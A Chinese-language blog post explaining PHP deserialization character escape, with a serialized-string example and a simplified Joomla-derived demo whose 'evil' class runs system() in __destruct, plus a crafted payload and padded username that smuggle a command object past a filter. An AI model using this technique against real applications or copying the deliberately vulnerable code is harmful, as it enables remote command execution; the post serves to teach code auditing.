title: PHP反序列化字符逃逸date: 2020/2/16 20:46:25
categories: 代码审计
tags: 代码审计

漏洞产生原因:当开发者先将对象序列化然后再将对象中的字符进行过滤,最后再将其反序列化。这个时候就有可能产生PHP反序列化字符逃逸。

前置:

php序列化的特性

PHP反序列化字符逃逸 - 图1在进行反序列化时会对着s的值即字符穿长度,向右进项读取。

当读取的长度不符合时会报错。

PHP反序列化字符逃逸 - 图2

以为此时s为3但是他的值是name长度为4,在php中反序列化结束符号是;结尾的,但是当读取到第三位时即nam没有遇到分号,所以会报错,当我们在后面添加分号就不会报错。

例子:

正常的将对象序列化:

可见name的值为27位字符长度

我们需要逃逸出的payload的长度位24

PHP反序列化字符逃逸 - 图3

假设h是危险字符对其进行过滤,将一个h替换9个t,那么3个h就会变成27个t,

  1. O:4:"test":2:{s:4:"name";s:27:"ttttttttttttttttttttttttttt";s:3:"age";s:3:"yess";}";s:3:"age";s:2:"wq";}

那么由于name后的字符长度值s仍然为27,那么如果变成了27个t,按照反序列化的规则,到第27个字符就读取结束以;来结束。
PHP反序列化字符逃逸 - 图4

逃逸成功

PHP反序列化字符逃逸 - 图5

Joomla 分析

从网上copy简化的Joomla代码:

  1. <?php
  2. class evil{
  3. public $cmd;
  4. public function __construct($cmd){
  5. $this->cmd = $cmd;
  6. }
  7. public function __destruct(){
  8. system($this->cmd);
  9. }
  10. }
  11. class User
  12. {
  13. public $username;
  14. public $password;
  15. public function __construct($username, $password){
  16. $this->username = $username;
  17. $this->password = $password;
  18. }
  19. }
  20. function write($data){
  21. $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
  22. file_put_contents("dbs.txt", $data);
  23. }
  24. function read(){
  25. $data = file_get_contents("dbs.txt");
  26. $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
  27. return $r;
  28. }
  29. if(file_exists("dbs.txt")){
  30. unlink("dbs.txt");
  31. }
  32. $username = "peri0d";
  33. $password = "1234";
  34. $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
  35. write(serialize(new User($username, $password)));
  36. var_dump(unserialize(read()));

PHP反序列化字符逃逸 - 图6

可以看到可以通过destruct魔术方法来调用system来系统命令,所以我们在构造payload的时候,可以构造出evil这个类,当该类销毁是会触发destruct方法,所以我们可以在构造出payload:$payload = ‘s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}’;我们可以让evil逃逸出来,这样反序列化的时候就会触发,evil类中的__destruct的方法。

接下来看下面的代码:

注意需要符合序列化的标准所以PHP反序列化字符逃逸 - 图7payload.”}”;

PHP反序列化字符逃逸 - 图8

那么我们逃逸的思路就是让username的值把password的值包括进去,只留下evil类是我们需要逃逸出来的。所以我们username需要包含”;s:8:”password”;s:54:”1234这么多,一共27个长度。

PHP反序列化字符逃逸 - 图9

接下来在看源代码中看到read这个方法

PHP反序列化字符逃逸 - 图10

把一组\0\0\0替换成3个字符长度,长度减少一半。

PHP反序列化字符逃逸 - 图11

我们在调用read方法时后会进行过滤,\0\0\0 6个字符长度会被替换成3个字符长度

所以我们可以设置username的值为9组\0\0\0 那么经过read方法过滤后长度就会缩短到27个,就会包含到上图的password的值

  1. $username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

所以我们最后执行
PHP反序列化字符逃逸 - 图12